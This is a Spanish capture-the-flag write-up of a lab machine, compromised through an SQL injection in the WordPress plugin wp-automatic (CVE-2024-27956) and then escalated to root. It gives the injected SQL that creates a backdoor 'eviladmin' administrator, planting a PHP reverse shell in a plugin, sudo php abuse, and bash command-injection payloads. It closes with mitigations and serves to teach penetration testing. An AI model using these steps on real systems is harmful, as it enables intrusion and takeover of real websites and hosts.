Este laboratorio está catalogado con la dificultad "Medio" y sus autores son "Pylon" y "El Pingüino de Mario".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 80 -n -Pn 172.17.0.2 -oN services

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (www-data)
En este caso se detecta que hay un puerto abierto:
- Puerto 80 (servicio HTTP, Apache)
Además, gracias a la detección del servicio, se detecta que el sistema subyacente es Ubuntu.
Tras investigar el puerto 80, se puede comprobar que muestra una página de una academia con cursos gratuitos, que según indica la respuesta de nmap, está creada con el CMS Wordpress.
URL -> http://172.17.0.2

Además, se puede comprobar en el pie de página de la página principal que tiene instalado un plugin para importar contenido de forma automática denominado "wp-automatic" en su versión 3.92.0.
Created by Master 2024 && Automated By wp-automatic 3.92.0
Al revisar esta versión del plugin en particular resulta en ser vulnerable a inyecciones SQL de forma no autenticada (Unauthenticated SQL Injection).
En este caso, esta vulnerabilidad se da debido a una sanitización insuficiente a la hora de construir una consulta SQL, lo que permite la ejecución de consultas SQL arbitrarias sobre la base de datos del CMS sin requerir credenciales válidas.
Tras buscar, se encuentra un exploit que sirve como PoC para validar que esta vulnerabilidad está presente y es explotable.
CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-27956
Exploit (PoC): https://github.com/truonghuuphuc/CVE-2024-27956

Tras confirmar que es explotable y tras investigar nuevamente, se detecta otro exploit que esta vez se encarga de aprovechar esta vulnerabilidad para crear un usuario administrador de Wordpress como "puerta trasera" para acceder a la parte administrativa del CMS.
Sin embargo, el exploit no funciona simplemente ejecutándose, ya que requiere de hacerse ciertas adaptaciones. Por lo que primero debe entenderse como funciona.
Exploit (crear admin Wordpress): https://github.com/devsec23/CVE-2024-27956
git clone https://github.com/devsec23/CVE-2024-27956.git
cd CVE-2024-27956
python3 Exploit.py http://172.17.0.2/wp-content/plugins/wp-automatic/inc/csv.php -> (se debe especificar la ruta completa al endpoint vulnerable)
...
[+] Testing vulnerability at http://172.17.0.2/wp-content/plugins/wp-automatic/inc/csv.php...
[-] Target is not vulnerable or connection failed.

Tal y como se muestra en la PoC, la petición POST vulnerable requiere tres parámetros:
- Parámetro "q": La consulta SQL que se quiere ejecutar.
- Parámetro "auth": Tipo de autenticación requerida. En este caso se indica como "0", indicando que no la utilice.
- Parámetro "integ": Hash MD5 correspondiente a la consulta SQL facilitada para evitar modificaciones al vuelo de la misma (validar integridad).
En el exploit encargado de crear un nuevo usuario administrador se puede comprobar que la mayoría de los procesos los realiza automáticamente. Sin embargo, en ningún momento calcula los hashes MD5 para adaptarlos según el contenido generado. Esto es lo que precisamente hace que el exploit falle.
Por ello, se procede a adaptar el exploit para asociar unos valores estáticos y válidos de las consultas SQL que debe realizar junto con sus hashes MD5 correspondientes.
Consulta SQL 1: Comprobación de la vulnerabilidad
echo -n 'SELECT 1' | md5sum -> (extraer el hash MD5 correcto)
MODIFICAR LAS LINEAS 43 Y 44 EN "Exploit.py" POR LAS SIGUIENTES
test_payload = "SELECT 1"
test_hash = "b1698e52a0f16203489454196a0c6307"

Consulta SQL 2: Crear un nuevo usuario (especificar la contraseña a utilizar)
echo -n "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, display_name) VALUES ('eviladmin', MD5('<MI PASS>'), 'eviladmin', 'eviladmin@evil.com', NOW(), 'eviladmin')" | md5sum -> (extraer el hash MD5 correcto)
MODIFICAR LAS LINEAS 55 A 61 EN "Exploit.py" POR LAS SIGUIENTES
user_payload = f"""INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, display_name) VALUES ('eviladmin', MD5('<MI PASS>'), 'eviladmin', 'eviladmin@evil.com', NOW(), 'eviladmin')"""
user_hash = "<MI HASH MD5>"

Consulta SQL 3: Asignación de privilegios administrativos al nuevo usuario
echo -n "INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')" | md5sum -> (extraer el hash MD5 correcto)
MODIFICAR LAS LINEAS 68 A 74 EN "Exploit.py" POR LAS SIGUIENTES
meta_payload = f"""INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')"""
meta_hash = "bd98494b41544b818fa9f583dadfa2bb"

Una vez estén las lineas especificadas adaptadas correctamente, es posible ejecutar el exploit para que genere un nuevo usuario administrador. Aquí es importante utilizar el parámetro " — password" para especificar la contraseña utilizada en la creación del usuario. En caso de no hacerlo, este generaría una nueva y la validación de integridad fallaría.
Tras ejecutar el exploit se puede comprobar que esta vez ha funcionado correctamente, imprimiendo las credenciales del nuevo administrador del CMS.
python3 Exploit.py http://172.17.0.2/wp-content/plugins/wp-automatic/inc/csv.php --password "<MI PASS>"

Una vez obtenidas, se confirma que es posible acceder al CMS con estas.
URL -> http://172.17.0.2/wp-admin/

En este punto, se procede a modificar el plugin "Hello Dolly" para incluir en este una consola inversa escrita en PHP.
Acceder a "Plugins" > "Plugin File Editor"
Seleccionar el plugin "Hello Dolly" y el archivo "hello.php"

Pegar al final la consola inversa en PHP sin incluir las etiquetas de apertura y cierre
Pulsar en "Update File" para hacer efectivos los cambios

A continuación, se establece el puerto indicado en la consola inversa a la escucha.
rlwrap nc -nvlp 1337

Por último, se accede a la lista de plugins disponibles y se activa el de "Hello Dolly".

Al activarse, el plugin se inicia, ejecutando a su vez la consola inversa introducida y ganando acceso como el usuario "www-data".
whoami
id
hostname

Para finalizar con el acceso inicial, se actualiza la consola a una TTY.
script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
Escalada de privilegios (www-data -> pylon)
Al listar los privilegios SUDO, se puede comprobar que el usuario "www-data" puede ejecutar el binario "/usr/bin/php" como el usuario "pylon" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (pylon) NOPASSWD: /usr/bin/php
sudo -l

Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.github.io/gtfobins/php/#sudo

En este caso, es posible abrir una consola interactiva como el usuario "pylon" directamente.
sudo -u pylon /usr/bin/php -r "system('/bin/bash');"
whoami
id
hostname

Escalada de privilegios (pylon -> mario)
Al listar los privilegios SUDO, se puede comprobar que el usuario "pylon" puede ejecutar el script "/home/mario/pingusorpresita.sh" como el usuario "mario" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (mario) NOPASSWD: /bin/bash /home/mario/pingusorpresita.sh
sudo -l

Al parecer, es un script en Bash pero no es posible leer su código fuente.
Además, se puede apreciar un script en el directorio principal del usuario con un nombre similar al de los privilegios SUDO y que es posible leer su código fuente. Este se encarga de solicitar un número al usuario y de comprobar si este es correcto para mostrar el enlace al canal de YouTube de Pylon. El código muestra cual es el número correcto, en este caso, el 1. Pero posteriormente no ocurre nada más.
En este caso, hay que fijarse en la línea 5 del script, donde ocurre la comparación del número correcto con el proporcionado por el usuario.
En esta línea, la variable "num" obtiene un valor proporcionado por el usuario directamente y no se sanitiza, lo que hace que en este punto, el script sea vulnerable a inyección de comandos (command injection).
Sin embargo, para poder corroborar y ejecutar comandos, no es posible comprobarlo inyectando simples comandos. En este caso, es necesario ejecutar comandos a través de una subshell.
Para ello, la subshell del ejemplo a continuación se encarga de calcular el índice de un array asociativo ficticio. De esta forma, el comando se ejecuta y sale el resultado de este en el mensaje de error.
Tras ejecutar el script asignado en los privilegios SUDO, se puede comprobar que tiene un comportamiento similar, y que también presenta la vulnerabilidad previamente indicada.
Así, se comprueba que es posible ejecutar comandos en el contexto de "mario", debido a falta de sanitización en la entrada ofrecida por el usuario.
Por lo que, al poder ejecutar comandos, es posible aprovechar esta vulnerabilidad para abrir una consola como el usuario "mario" directamente.
Lo único que se debe tener en cuenta en este caso es que, como la salida del comando se da a través del canal de error estándar, se debe redirigir este para que la nueva consola redirija esta salida y se pueda ver la respuesta ofrecida por los comandos ejecutados.
ls -al
cat ~/pylonsorpresita.sh
...
Canal de YouTube de "Pylon": https://www.youtube.com/@Pylonet
/bin/bash ~/pylonsorpresita.sh
Escribe 1 para ver el canal de pylon: Pyth0nK1d[$(id)]
(el valor que debe almacenar en la variable es el valor que se encuentra en el array asociativo "Pyth0nK1d" en el índice calculado por la subshell "$(id)").
...
/home/pylon/pylonsorpresita.sh: line 5: uid=1002(pylon) gid=1002(pylon) groups=1002(pylon),100(users): syntax error in expression (error token is "(pylon) gid=1002(pylon) groups=1002(pylon),100(users)")
(la subshell se ejecuta, y como el índice resultante está mal formado y es inexistente (al igual que el array), devuelve un error con la salida del comando de la subshell).
(se confirma que es vulnerable)
sudo -u mario /bin/bash /home/mario/pingusorpresita.sh (ejecución del script en el contexto de "mario")
(se aprecia un funcionamiento similar, se comprueba también si es vulnerable)
Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: Pyth0nK1d[$(id)]
(el valor que debe almacenar en la variable es el valor que se encuentra en el array asociativo "Pyth0nK1d" en el índice calculado por la subshell "$(id)").
...
/home/mario/pingusorpresita.sh: line 5: uid=1001(mario) gid=1001(mario) groups=1001(mario),100(users): syntax error in expression (error token is "(mario) gid=1001(mario) groups=1001(mario),100(users)")
(la subshell se ejecuta, y como el índice resultante está mal formado y es inexistente (al igual que el array), devuelve un error con la salida del comando de la subshell).
(se confirma que también es vulnerable)
sudo -u mario /bin/bash /home/mario/pingusorpresita.sh
Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: Pyth0nK1d[$(/bin/bash -p >&2)]
...
whoami
id
hostname

Al acceder como el usuario "mario", se puede comprobar de la misma forma que se ha hecho con el script ubicado en "/home/pylon/pylonsorpresita.sh", que el script utilizado para acceder al usuario "mario" ("/home/mario/pingusorpresita.sh") se encarga de solicitar un número al usuario y de comprobar si este es correcto para mostrar el enlace al canal de YouTube de El Pingüino de Mario. Y que efectivamente la vulnerabilidad se ha dado porque la implementación de la funcionalidad es similar.
ls -al
cat pingusorpresita.sh
...
Canal de YouTube de "El Pingüino de Mario": https://www.youtube.com/@ElPinguinoDeMario
Academia de Mario: https://www.elrincondelhacker.es

Escalada de privilegios (mario -> root)
Al listar los privilegios SUDO, se puede comprobar que el usuario "mario" puede ejecutar el script "/home/pylon/pylonsorpresita.sh" como el usuario "root" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (root) NOPASSWD: /bin/bash /home/pylon/pylonsorpresita.sh
sudo -l

Como ya se ha probado que el script es vulnerable a inyección de comandos (command injection), se aprovecha esta vulnerabilidad para comprobar el contexto y abrir una consola como el usuario "root" directamente.
Lo único que se debe tener en cuenta en este caso es que, como la salida del comando se da a través del canal de error estándar, se debe redirigir este para que la nueva consola redirija esta salida y se pueda ver la respuesta ofrecida por los comandos ejecutados.
sudo -u root /bin/bash /home/pylon/pylonsorpresita.sh
Escribe 1 para ver el canal de pylon: Pyth0nK1d[$(id)]
(el valor que debe almacenar en la variable es el valor que se encuentra en el array asociativo "Pyth0nK1d" en el índice calculado por la subshell "$(id)").
...
/home/pylon/pylonsorpresita.sh: line 5: uid=0(root) gid=0(root) groups=0(root): syntax error in expression (error token is "(root) gid=0(root) groups=0(root)")
(la subshell se ejecuta, y como el índice resultante está mal formado y es inexistente (al igual que el array), devuelve un error con la salida del comando de la subshell).
(se confirma contexto de "root")
sudo -u root /bin/bash /home/pylon/pylonsorpresita.sh
Escribe 1 para ver el canal de pylon: Pyth0nK1d[$(/bin/bash -p >&2)]
...
whoami
id
hostname

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Asegurarse de que los servicios expuestos y sus dependencias estén parcheados a la última versión para evitar que una vulnerabilidad conocida pueda ser explotada.
- Para evitar la vulnerabilidad command injection, se debe validar y sanear toda entrada proporcionada por el usuario y se debe evitar construir comandos dinámicos que puedan contener datos no confiables que puedan interpretarse y ejecutar comandos del sistema no intencionados.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com